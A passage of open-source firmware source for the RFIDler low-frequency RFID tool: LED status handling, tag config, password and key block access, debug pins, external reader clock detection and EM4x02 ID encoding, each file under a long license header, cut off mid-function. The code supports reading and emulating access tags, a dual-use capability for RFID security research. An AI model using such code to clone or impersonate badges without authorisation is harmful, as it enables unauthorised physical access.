void BlinkCommsStatus(void)
{
if(Led_Count == 0)
Led_Count = 65535;
Led_Count--;
if(USBSuspendControl == 1)
{
if(Led_Count == 0)
{
mLED_USB_Toggle();
if(mGetLED_USB())
{
mLED_Comms_On();
}
else
{
mLED_Comms_Off();
}
}//end if
}
else
{
if(USBDeviceState == DETACHED_STATE)
{
mLED_Both_Off();
}
else if(USBDeviceState == ATTACHED_STATE)
{
mLED_Both_On();
}
else if(USBDeviceState == POWERED_STATE)
{
mLED_Only_USB_On();
}
else if(USBDeviceState == DEFAULT_STATE)
{
mLED_Only_Comms_On();
}
else if(USBDeviceState == ADDRESS_STATE)
{
if(Led_Count == 0)
{
mLED_USB_Toggle();
mLED_Comms_Off();
}//end if
}
else if(USBDeviceState == CONFIGURED_STATE)
{
if(Led_Count == 0)
{
mLED_USB_Toggle();
if(mGetLED_USB() ^ Interface)
{
mLED_Comms_Off();
}
else
{
mLED_Comms_On();
}
}//end if
}//end if(...)
}//end if(UCONbits.SUSPND...)
// are we talking over UART?
if (CommsChannel == COMMS_UART)
mLED_Comms_On();
}
// check if user is trying to interrupt
BOOL get_user_abort(void)
{
if (GetUserMessage(Comms_In_Buffer, 64))
return TRUE;
return FALSE;
}
// send end of data
void eod(void)
{
if(Interface == INTERFACE_API)
UserMessage("%s", "*\r\n");
else
UserMessage("%s", "\r\n");
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/config.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "config.h"
#include "em.h"
#include "read.h"
#include "hitag.h"
#include "q5.h"
#include "t55x7.h"
// get the config block number
BOOL config_block_number(unsigned int *block, BYTE tagtype)
{
switch (tagtype)
{
case TAG_TYPE_EM4X05:
*block= EM4X05_CONFIG_BLOCK_NUM;
return TRUE;
case TAG_TYPE_HITAG1:
*block= HITAG1_CONFIG_BLOCK_NUM;
return TRUE;
case TAG_TYPE_HITAG2:
*block= HITAG2_CONFIG_BLOCK_NUM;
return TRUE;
case TAG_TYPE_Q5:
*block= Q5_CONFIG_BLOCK_NUM;
case TAG_TYPE_T55X7:
*block= T55X7_CONFIG_BLOCK_NUM;
return TRUE;
default:
return FALSE;
}
}
// get the first user-data block number
BOOL config_user_block(unsigned int *block, BYTE tagtype)
{
switch (tagtype)
{
case TAG_TYPE_EM4X05:
*block= EM4X05_USER_DATA_BLOCK_NUM;
return TRUE;
case TAG_TYPE_HITAG1:
*block= HITAG1_USER_DATA_BLOCK_NUM;
return TRUE;
case TAG_TYPE_HITAG2:
*block= HITAG2_USER_DATA_BLOCK_NUM;
return TRUE;
case TAG_TYPE_Q5:
*block= Q5_USER_DATA_BLOCK_NUM;
return TRUE;
case TAG_TYPE_T55X7:
*block= T55X7_USER_DATA_BLOCK_NUM;
return TRUE;
default:
return FALSE;
}
}
// get the password block number
BOOL pw_block_number(unsigned int *block, BYTE tagtype)
{
switch (tagtype)
{
// explicitly return FALSE as password block (2) is always Write Only
// so any attempt to read it will fail
case TAG_TYPE_EM4X05:
return FALSE;
case TAG_TYPE_HITAG2:
*block= HITAG2_PW_BLOCK_NUM;
return TRUE;
case TAG_TYPE_Q5:
*block= Q5_PW_BLOCK_NUM;
return TRUE;
case TAG_TYPE_T55X7:
*block= T55X7_PW_BLOCK_NUM;
return TRUE;
default:
return FALSE;
}
}
// get the additional info block number
BOOL info_block_number(unsigned int *block, BYTE tagtype)
{
switch (tagtype)
{
// customer code, tag type, capacitor
case TAG_TYPE_EM4X05:
*block= EM4X05_INFO_BLOCK_NUM;
return TRUE;
// use this to show crypto key
case TAG_TYPE_HITAG2:
*block= HITAG2_KEY_BLOCK_NUM;
return TRUE;
default:
return FALSE;
}
}
// get current config block from tag
BOOL get_config_block(BYTE *out, BYTE tagtype)
{
int block;
if(config_block_number(&block, tagtype))
return read_tag(out, block, block);
return FALSE;
}
// get current password block from tag
BOOL get_pw_block(BYTE *out, BYTE tagtype)
{
int block;
if(pw_block_number(&block, tagtype))
return read_tag(out, block, block);
return FALSE;
}
// get additional info block from tag
BOOL get_info_block(BYTE *out, BYTE tagtype)
{
int block;
if(info_block_number(&block, tagtype))
return read_tag(out, block, block);
return FALSE;
}
// get a config block suitable for emulating
BOOL config_block(BYTE *config, BYTE target_tagtype, BYTE emulator_tagtype)
{
switch (emulator_tagtype)
{
case TAG_TYPE_EM4X05:
return em4x05_emulate_config_block(config, target_tagtype);
case TAG_TYPE_HITAG2:
return hitag2_emulate_config_block(config, target_tagtype);
case TAG_TYPE_Q5:
return q5_emulate_config_block(config, target_tagtype);
case TAG_TYPE_T55X7:
return t55x7_emulate_config_block(config, target_tagtype);
default:
return FALSE;
}
}
// display contents of tag config block if present
BOOL config_block_show(BYTE *config, BYTE *password, BYTE *info, BYTE tagtype)
{
switch(tagtype)
{
case TAG_TYPE_EM4X05:
return em4x05_config_block_show(config, info);
case TAG_TYPE_HITAG2:
return hitag2_config_block_show(config, password, info);
case TAG_TYPE_Q5:
return q5_config_block_show(config, password);
case TAG_TYPE_T55X7:
return t55x7_config_block_show(config, password);
default:
return FALSE;
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/debug_pins.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "debug_pins.h"
BOOL debug_get(BYTE pin)
{
BOOL state;
switch(pin)
{
case 1:
state= DEBUG_PIN_1;
break;
case 2:
state= DEBUG_PIN_2;
break;
case 3:
state= DEBUG_PIN_3;
break;
case 4:
state= DEBUG_PIN_4;
break;
default:
return FALSE;
}
return state;
}
BOOL debug_set(BYTE pin, BOOL state)
{
switch(pin)
{
case 0:
DEBUG_PIN_1= state;
DEBUG_PIN_2= state;
DEBUG_PIN_3= state;
DEBUG_PIN_4= state;
break;
case 1:
DEBUG_PIN_1= state;
break;
case 2:
DEBUG_PIN_2= state;
break;
case 3:
DEBUG_PIN_3= state;
break;
case 4:
DEBUG_PIN_4= state;
break;
default:
return FALSE;
break;
}
return TRUE;
}
BOOL debug_toggle(BYTE pin)
{
BOOL state;
state= debug_get(pin);
return debug_set(pin, !state);
}
BOOL debug_on(BYTE pin)
{
return debug_set(pin, DEBUG_PIN_ON);
}
BOOL debug_off(BYTE pin)
{
return debug_set(pin, DEBUG_PIN_OFF);
}
void debug_show(void)
{
BYTE i;
for(i= 1 ; i < 5 ; ++i)
{
UserMessageNum("Debug pin %d: ", i);
UserMessage("%s\r\n", debug_get(i) ? "OFF" : "ON");
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/detect.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "detect.h"
#include "clock.h"
#include "util.h"
#include "comms.h"
void detect_init(void)
{
// make sure local clock isn't running & switch to input
stop_HW_clock();
COIL_MODE_READER();
READER_CLOCK_ENABLE_OFF(LOW);
}
// detect and measure external clock
// optionally wait for clock to stop in order to detect reader gap
void detect_external_clock(BOOL wait, BYTE max_hz)
{
BYTE toggle= SNIFFER_COIL;
unsigned long tick, time;
unsigned int count= 0;
detect_init();
// wait for external clock to stop if required
if(wait)
{
// calculate max ticks to wait for clock pulse
time= max_hz * 1000000000UL;
time *= (unsigned long) (GetSystemClock() / US_TO_TICKS);
time /= 2;
while(42)
{
GetTimer_ticks(RESET);
while(SNIFFER_COIL == toggle)
{
// check for user abort
if(get_user_abort())
return;
if(GetTimer_ticks(NO_RESET) > time)
return;
}
toggle= !toggle;
}
}
// wait for 100 ticks to make sure we're settled
count= 100;
while(count--)
{
while(SNIFFER_COIL == toggle)
// check for user abort
if(get_user_abort())
return;
toggle= !toggle;
}
UserMessageNum("\r\nClock detected: %ld Hz\r\n", read_external_clock_burst(1000));
}
// read a data burst and measure frequency
unsigned long read_external_clock_burst(unsigned int ticks)
{
BOOL toggle;
unsigned long time= 0UL;
GetTimer_ticks(RESET);
while(ticks--)
{
while(SNIFFER_COIL == toggle)
if(get_user_abort())
return 0L;
time += GetTimer_ticks(RESET);
toggle= !toggle;
}
// convert to KHz
time *= 2UL; // two toggles per clock tick
time /= (unsigned long) (GetSystemClock() / US_TO_TICKS);
time= 1000000000UL / time;
return time;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/em.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "ask.h"
#include "clock.h"
#include "config.h"
#include "em.h"
#include "util.h"
// em4205 return values
const BYTE EM4X05_Preamble[8]= {0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00}; // "00001010"
const BYTE EM4X05_Error[8]= {0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x01}; // "00000001"
const BYTE *EM4X05_Delays[4]= {"No Delay", "BP/4 (RF/16)", "BP/8 (RF/8)", "No Delay"};
const BYTE *EM4X05_Capacitors[4]= {"Invalid", "210pF", "250pF", "330pF"};
// support routines for EM tags
//
BOOL em4x02_get_uid(BYTE *response)
{
return ask_raw_get_uid(response);
}
BOOL em4x02_hex_to_uid(BYTE *response, BYTE *hex)
{
BYTE tmp[40];
if(em4x02_hex_to_bin(tmp, hex))
return binarraytohex(response, tmp, 40);
return FALSE;
}
// convert null-terminated hex UID (10 digits) to em4x02 encoded hex
BOOL hex_to_em4x02_hex(unsigned char *em, unsigned char *hex)
{
if(hex_to_em4x02_bin(em, hex))
return binarraytohex(em, em, 64);
else
return FALSE;
}
// convert null-terminated hex UID (10 digits) to 64 bit em4x02 encoded binary array
BOOL hex_to_em4x02_bin(unsigned char *em, unsigned char *hex)
{
unsigned char tmp1[10], tmp2[40];
if(strlen(hex) > 10)
return FALSE;
// pad to 10 hex digits
memset(tmp1, '0', 10);
memcpy(tmp1 + 10 - strlen(hex), hex, strlen(hex));
hextobinarray(tmp2, tmp1);
// encoding is the same as unique, but source data is in a different order
bin_to_em4x02_bin(em, tmp2);
return TRUE;
}
// convert 16 hex digit/64 bit EM4X02 ID to 40 bit raw UID
// safe to do in-place as we use a scratchpad
BOOL em4x02_hex_to_bin(unsigned char *bin, unsigned char *em)
{
unsigned char i, j, colparity[4]= {0,0,0,0};
if(!hextobinarray(TmpBits, em))
return FALSE;
// check header
for(i= 0 ; i < 9 ; ++i)
if(TmpBits[i] != 0x01)
return FALSE;
// skip 9 bit header and strip/check parity bits - every 5th bit
for(i= 0 ; i < 10 ; ++i)
{
memcpy(bin + i * 4, (TmpBits + 9) + i * 5, 4);
if(parity(bin + i * 4, EVEN, 4) != TmpBits[9 + i * 5 + 4])
return FALSE;
}
// check column parity
for(i= 0 ; i < 10 ; ++i)
for(j= 0; j < 4 ; ++j)
colparity[j] += bin[i * 4 + j];
for(i= 0 ; i < 4 ; ++i)
if(colparity[i] % 2 != TmpBits[9 + 50 + i])
return FALSE;
// check terminating stop bit
if(TmpBits[63] != 0x00)
return FALSE;
return TRUE;
}
// convert 40 bit ID (array of 1 byte per bit 0/1 values) to em 64 bit ID
void bin_to_em4x02_bin(unsigned char *em, unsigned char *bin)
{
unsigned char i, j, parity, colparity[4]= {0,0,0,0};
// output header '111111111'
memset(em, 0x01, 9);
em += 9;
// output 10 blocks of 4 bits plus parity for each block
